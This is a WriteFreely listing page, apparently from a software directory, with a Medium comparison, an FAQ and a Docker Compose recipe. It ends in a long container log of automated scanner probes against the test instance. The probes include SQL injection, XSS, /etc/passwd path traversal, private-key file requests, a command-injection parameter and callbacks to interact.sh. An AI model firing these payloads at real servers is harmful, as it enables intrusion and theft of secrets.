WriteFreely is an open-source alternative to Medium, offering federated Markdown blogging and ActivityPub distribution from a lightweight Go binary.
WriteFreely compiles into a standalone Go binary that serves federated Markdown blogs from an embedded SQLite database or external MySQL instance. It discards algorithmic feeds, tracking pixels, and paywalls in favor of clean typography and ActivityPub federation. Authors publish long-form articles directly from a plain-text editor without managing complex CMS machinery.
Medium organizes publishing around centralized discovery, member paywalls, applause counters, and engagement algorithms. Building an audience there requires trading away domain reputation and subjecting readers to aggressive subscription prompts. WriteFreely treats publishing as an open, decentralized workflow. Writers compose in Markdown, publish directly to custom domains, and syndicate articles to Fediverse followers across Mastodon. Readers get clean text without popups or mandatory logins.
The operational trade-offs reflect these divergent philosophies. Medium eliminates server maintenance, but locks subscriber relationships inside a proprietary walled garden. WriteFreely requires running a lightweight Go binary behind a reverse proxy and managing a simple configuration file. In return, you eliminate ongoing platform fees, maintain complete data custody, and guarantee perpetual access to your archive. However, writers moving from Medium must accept the absence of built-in algorithmic distribution; audience discovery on WriteFreely depends on RSS readers, direct links, and federated shares.
WriteFreely vs Medium — which should I choose? Choose Medium if you rely on an algorithmic discovery engine and built-in monetization. Choose WriteFreely if you want complete content ownership, custom domains, and decentralized distribution without paywalls.
Does WriteFreely support image uploads? WriteFreely lacks a native file upload manager in its standard editor, so authors typically embed images hosted on external storage or third-party platforms.
Can I self-host WriteFreely on a Raspberry Pi? Yes. Pre-compiled ARM binaries and native SQLite support allow the server to run efficiently on low-power single-board computers with negligible memory overhead.
WriteFreely is an ideal self-hosted blogging platform for operators who want a quiet, durable writing home connected directly to the open Fediverse. Active development through August 2026 and an AGPL-3.0 license make it a dependable foundation for personal blogs and multi-author publications without vendor lock-in. For homelab administrators, its single-binary architecture keeps maintenance overhead close to zero.
We started this exact setup from scratch in a clean Linux machine on Nov 3, 2026 and checked it through WriteFreely's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p writefreely && cd writefreely
curl -fsSL https://open-source.store/tools/writefreely/compose.yml -o compose.ymlcat > .env <<EOF
APP_URL=http://localhost:8080
ADMIN_PASSWORD=$(openssl rand -hex 12)
DB_PASSWORD=$(openssl rand -hex 12)
DB_ROOT_PASSWORD=$(openssl rand -hex 12)
EOFAPP_URL — Public URL of the WriteFreely instance.ADMIN_PASSWORD — Initial password for the bootstrapped admin user. Generated above; keep it secret.DB_PASSWORD — Password for the writefreely database user. Generated above; keep it secret.DB_ROOT_PASSWORD — Root password for the MariaDB database. Generated above; keep it secret.docker compose up -dservices:
writefreely-web:
image: ghcr.io/writefreely/writefreely:v0.17.1
ports:
- "8080:8080"
depends_on:
writefreely-db:
condition: service_healthy
environment:
ADMIN_PASSWORD: ${ADMIN_PASSWORD}
DB_PASSWORD: ${DB_PASSWORD}
APP_URL: ${APP_URL}
volumes:
- web-keys:/go/keys
entrypoint:
- /bin/sh
- -c
- |
cat <<EOF > /go/config.ini
[server]
port = 8080
bind = 0.0.0.0
keys_parent_dir = /go
[database]
type = mysql
username = writefreely
password = ${DB_PASSWORD}
database = writefreely
host = writefreely-db
port = 3306
[app]
site_name = WriteFreely
site_description = A clean, minimalist publishing platform made for writers.
host = ${APP_URL}
theme = write
single_user = false
open_registration = false
min_username_len = 3
max_blogs = 1
federation = true
public_stats = true
private = false
local_timeline = true
EOF
if [ ! -f /go/keys/email.aes256 ]; then
/go/cmd/writefreely/writefreely -c /go/config.ini --gen-keys
fi
if [ ! -f /go/keys/.db_initialized ]; then
/go/cmd/writefreely/writefreely -c /go/config.ini --init-db
/go/cmd/writefreely/writefreely -c /go/config.ini --create-admin "wfadmin:${ADMIN_PASSWORD}"
touch /go/keys/.db_initialized
fi
exec /go/cmd/writefreely/writefreely -c /go/config.ini
healthcheck:
test: ["CMD-SHELL", "wget -q -O - http://127.0.0.1:8080/ >/dev/null 2>&1 || exit 1"]
interval: 5s
timeout: 5s
retries: 20
start_period: 10s
restart: always
writefreely-db:
image: mariadb:10.11
environment:
MYSQL_DATABASE: writefreely
MYSQL_USER: writefreely
MYSQL_PASSWORD: ${DB_PASSWORD}
MYSQL_ROOT_PASSWORD: ${DB_ROOT_PASSWORD}
volumes:
- db-data:/var/lib/mysql
healthcheck:
test: ["CMD-SHELL", "mariadb-admin ping -h 127.0.0.1 -u $$MYSQL_USER -p$$MYSQL_PASSWORD || exit 1"]
interval: 5s
timeout: 5s
retries: 20
start_period: 10s
restart: always
volumes:
web-keys:
db-data:
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that WriteFreely is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 15 s: mariadb:10.11, ghcr.io/writefreely/writefreely:v0.17.1.
Based on the upstream setup. Official compose setup using MariaDB. Pinned image to ghcr.io/writefreely/writefreely:v0.17.1 (the latest published official image because upstream's GHCR release workflow failed on v0.17.2); automated key generation, database schema initialization, and admin bootstrap in entrypoint; database password and secrets moved to .env.
writefreely-web-1 | 2026-11-03T02:41:50.750734626Z 2026/11/03 02:41:50 "GET /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999999)+--+@`'`" 200 3.416µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.16"
writefreely-web-1 | 2026-11-03T02:41:50.750756418Z 2026/11/03 02:41:50 "GET /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999999)+--+@`'`" 200 2µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.8"
writefreely-web-1 | 2026-11-03T02:41:50.750803918Z 2026/11/03 02:41:50 "GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%!s(MISSING)rc=x%!o(MISSING)nerror=alert(document.domain)>" 200 2µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
writefreely-web-1 | 2026-11-03T02:41:50.751089085Z 2026/11/03 02:41:50 "GET /settings" 404 170.958µs "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.751131168Z 2026/11/03 02:41:50 "GET /install/?step=1" 404 263.125µs "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.751663001Z 2026/11/03 02:41:50 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>&dSecurityGroup&QueryText=(dInDate+>=+%!<(MISSING)$dateCurrent(-7)$>%!)(MISSING)&PageTitle=OO" 404 186.875µs "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.751748585Z 2026/11/03 02:41:50 "GET /install/?step=1" 404 165µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10"
writefreely-web-1 | 2026-11-03T02:41:50.751901210Z 2026/11/03 02:41:50 "GET /settings" 404 84.459µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.752016168Z 2026/11/03 02:41:50 "GET /index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%!"(MISSING) 200 3.208µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.752120460Z 2026/11/03 02:41:50 "GET /command.cgi?cat%!/(MISSING)etc/passwd" 200 5.333µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.752720501Z 2026/11/03 02:41:50 "GET /?page=step_1" 200 643.25µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.752736960Z 2026/11/03 02:41:50 "GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%!s(MISSING)rc=x%!o(MISSING)nerror=alert(document.domain)>" 200 3.334µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"
writefreely-web-1 | 2026-11-03T02:41:50.753109793Z 2026/11/03 02:41:50 "GET /man.cgi?redirect=setting.htm%!d(MISSING)%!a(MISSING)%!d(MISSING)%!a(MISSING)<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY" 200 4.667µs "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.753291210Z 2026/11/03 02:41:50 "GET /admin/?page=reports&date=2022-05-27%20union%!s(MISSING)elect%!,(MISSING)2,3,md5('999999999'),5,6,7,8,9,10--+" 404 124.542µs "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.753423001Z 2026/11/03 02:41:50 "GET /man.cgi?redirect=setting.htm%!d(MISSING)%!a(MISSING)%!d(MISSING)%!a(MISSING)<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY" 200 6.125µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.753656710Z 2026/11/03 02:41:50 "GET /live_mfg.shtml" 200 5.584µs "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.753773793Z 2026/11/03 02:41:50 "GET /admin/?page=reports&date=2022-05-27%20union%!s(MISSING)elect%!,(MISSING)2,3,md5('999999999'),5,6,7,8,9,10--+" 404 138.875µs "Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.753823751Z 2026/11/03 02:41:50 "GET /comm.php?id=../../../../../../../../../../etc/passwd" 200 4.542µs "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14"
writefreely-web-1 | 2026-11-03T02:41:50.753887918Z 2026/11/03 02:41:50 "GET /live_mfg.shtml" 200 3.875µs "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.753924626Z 2026/11/03 02:41:50 "GET /index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%!"(MISSING) 200 2.708µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.753987835Z 2026/11/03 02:41:50 "GET /comm.php?id=../../../../../../../../../../etc/passwd" 200 2.583µs "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.754340418Z 2026/11/03 02:41:50 "GET /wa.exe?REPORT&z=4&"><script>alert(document.domain)</script>a=1" 200 8.792µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0"
writefreely-web-1 | 2026-11-03T02:41:50.754491668Z 2026/11/03 02:41:50 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup&QueryText=(dInDate+%!E(MISSING)=+%3C$dateCurrent(-7)$%!E(MISSING)%!)(MISSING)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>" 404 92.5µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123"
writefreely-web-1 | 2026-11-03T02:41:50.754622626Z 2026/11/03 02:41:50 "GET /wa.exe?REPORT&z=4&"><script>alert(document.domain)</script>a=1" 200 5.917µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.755416668Z 2026/11/03 02:41:50 "GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd" 200 10.375µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"
writefreely-web-1 | 2026-11-03T02:41:50.755501043Z 2026/11/03 02:41:50 "GET /CookieAuth.dll?GetLogon?url=%!F(MISSING)exchweb%!F(MISSING)bin%!F(MISSING)redir.asp%!F(MISSING)URL%!D(MISSING)https%!A(MISSING)%!F(MISSING)%!F(MISSING)interact.sh&reason=0" 200 5.916µs "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
writefreely-web-1 | 2026-11-03T02:41:50.755680543Z 2026/11/03 02:41:50 "GET /indexer/settings" 404 103.041µs "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0"
writefreely-web-1 | 2026-11-03T02:41:50.755980293Z 2026/11/03 02:41:50 "GET /cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup&QueryText=(dInDate+%!E(MISSING)=+%3C$dateCurrent(-7)$%!E(MISSING)%!)(MISSING)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(document.domain)>" 404 100.667µs "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"
writefreely-web-1 | 2026-11-03T02:41:50.756654668Z 2026/11/03 02:41:50 "GET /?lang=../../thinkphp/base" 200 588.458µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:50.756735918Z 2026/11/03 02:41:50 "GET /viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd" 200 7.958µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:50.756761293Z 2026/11/03 02:41:50 "GET /CookieAuth.dll?GetLogon?url=%!F(MISSING)exchweb%!F(MISSING)bin%!F(MISSING)redir.asp%!F(MISSING)URL%!D(MISSING)https%!A(MISSING)%!F(MISSING)%!F(MISSING)interact.sh&reason=0" 200 6.625µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"
writefreely-web-1 | 2026-11-03T02:41:50.756936376Z 2026/11/03 02:41:50 "GET /indexer/settings" 404 101µs "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.731978210Z 2026/11/03 02:41:51 "GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://interact.sh/" 200 54.917µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.732016544Z 2026/11/03 02:41:51 "GET /index.php?v=d&p=%!;(MISSING)alert(document.domain);%!"(MISSING) 200 41.708µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3"
writefreely-web-1 | 2026-11-03T02:41:51.732020752Z 2026/11/03 02:41:51 "GET /%!C(MISSING)%!C(MISSING)interact.sh/%!e(MISSING)%!e(MISSING)%!f(MISSING)" 200 13.041µs "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.734942002Z 2026/11/03 02:41:51 "GET /.flowconfig" 200 245.584µs "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.735241919Z 2026/11/03 02:41:51 "GET /index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%!"(MISSING) 200 17µs "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0"
writefreely-web-1 | 2026-11-03T02:41:51.735325085Z 2026/11/03 02:41:51 "GET /cgi-bin/privatekey.pem" 200 6.625µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27"
writefreely-web-1 | 2026-11-03T02:41:51.736728294Z 2026/11/03 02:41:51 "GET /data/autosuggest-remote.php?q="><img%!s(MISSING)rc=x%!o(MISSING)nerror=alert(1)>" 200 13.334µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29"
writefreely-web-1 | 2026-11-03T02:41:51.739933085Z 2026/11/03 02:41:51 "GET /storage/oauth-private.key" 200 16.75µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.740145419Z 2026/11/03 02:41:51 "GET /data/autosuggest-remote.php?q="><img%!s(MISSING)rc=x%!o(MISSING)nerror=alert(1)>" 200 16.084µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.740608669Z 2026/11/03 02:41:51 "GET /RestAPI/ImportTechnicians" 301 6.125µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.741152919Z 2026/11/03 02:41:51 "GET /login?next=http://interact.sh/?app.scan/" 200 254.375µs "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
writefreely-web-1 | 2026-11-03T02:41:51.742496460Z 2026/11/03 02:41:51 "GET /RestAPI/ImportTechnicians" 301 4.959µs "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.743005919Z 2026/11/03 02:41:51 "GET /index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%!"(MISSING) 200 27.375µs "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
writefreely-web-1 | 2026-11-03T02:41:51.743190085Z 2026/11/03 02:41:51 "GET /index.php?v=d&p=%!;(MISSING)alert(document.domain);%!"(MISSING) 200 2.734292ms "Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0"
writefreely-web-1 | 2026-11-03T02:41:51.744031710Z 2026/11/03 02:41:51 "GET /storage/oauth-private.key" 200 8.167µs "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.744131085Z 2026/11/03 02:41:51 "GET /login?next=http://interact.sh/?app.scan/" 200 415.25µs "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.745239335Z 2026/11/03 02:41:51 "GET /storage/oauth-public.key" 200 172.625µs "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.745540002Z 2026/11/03 02:41:51 "GET /login.do?message=904293*936237" 200 191.166µs "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0"
writefreely-web-1 | 2026-11-03T02:41:51.745738252Z 2026/11/03 02:41:51 "GET /index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%!"(MISSING) 200 25.834µs "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.746066794Z 2026/11/03 02:41:51 "GET /%!C(MISSING)%!C(MISSING)interact.sh/%!e(MISSING)%!e(MISSING)%!f(MISSING)" 200 10.375µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.12"
writefreely-web-1 | 2026-11-03T02:41:51.746217544Z 2026/11/03 02:41:51 "GET /stat.jsp?cmd=chcp+437+%!c(MISSING)+dir" 200 25.625µs "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
writefreely-web-1 | 2026-11-03T02:41:51.747033294Z 2026/11/03 02:41:51 "GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://interact.sh/" 200 8.375µs "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17"
writefreely-web-1 | 2026-11-03T02:41:51.747143294Z 2026/11/03 02:41:51 "GET /.flowconfig" 200 17.834µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.747302252Z 2026/11/03 02:41:51 "GET /caiwl/lesson.php?id=-1%!U(MISSING)NION%!S(MISSING)ELECT%!,(MISSING)2,md5(999999999),4,5" 200 15.667µs "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.747352294Z 2026/11/03 02:41:51 "GET /cgi-bin/privatekey.pem" 200 20.667µs "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.747486002Z 2026/11/03 02:41:51 "GET /storage/oauth-public.key" 200 10.791µs "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.757602085Z 2026/11/03 02:41:51 "GET /stat.jsp?cmd=chcp+437+%!c(MISSING)+dir" 200 15.416µs "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.757614960Z 2026/11/03 02:41:51 "GET /caiwl/lesson.php?id=-1%!U(MISSING)NION%!S(MISSING)ELECT%!,(MISSING)2,md5(999999999),4,5" 200 6.833µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757616210Z 2026/11/03 02:41:51 "GET /login.do?message=904293*936237" 200 8.75µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.757617044Z 2026/11/03 02:41:51 "GET /index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%!"(MISSING) 200 8.125µs "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757618085Z 2026/11/03 02:41:51 "GET /index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%!"(MISSING) 200 9.458µs "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757618877Z 2026/11/03 02:41:51 "GET /index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%!"(MISSING) 200 8.459µs "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757619544Z 2026/11/03 02:41:51 "GET /log/cacti.log" 200 11.75µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56"
writefreely-web-1 | 2026-11-03T02:41:51.757626002Z 2026/11/03 02:41:51 "GET /log/cacti.log" 200 6.417µs "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.757626669Z 2026/11/03 02:41:51 "GET /getCorsFile?urlPath=file:///etc/passwd" 301 6.162875ms "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
writefreely-web-1 | 2026-11-03T02:41:51.757627335Z 2026/11/03 02:41:51 "GET /groovyconsole" 404 12.235625ms "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1"
writefreely-web-1 | 2026-11-03T02:41:51.757628544Z 2026/11/03 02:41:51 "GET /getCorsFile?urlPath=file:///etc/passwd" 301 7.888042ms "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
writefreely-web-1 | 2026-11-03T02:41:51.757629169Z 2026/11/03 02:41:51 "GET /?wptouch_switch=desktop&redirect=https://interact.sh/" 200 7.697125ms "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
writefreely-web-1 | 2026-11-03T02:41:51.757629794Z 2026/11/03 02:41:51 "GET /groovyconsole" 404 5.656667ms "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757630419Z 2026/11/03 02:41:51 "GET /settings" 404 7.17025ms "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
writefreely-web-1 | 2026-11-03T02:41:51.757631044Z 2026/11/03 02:41:51 "GET /signup?next=http://interact.sh/?app.scan/" 200 7.96225ms "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/91.0"
writefreely-web-1 | 2026-11-03T02:41:51.757631669Z 2026/11/03 02:41:51 "GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug" 200 13.09725ms "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.757632294Z 2026/11/03 02:41:51 "GET /?lang=../../thinkphp/base" 200 10.492125ms "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
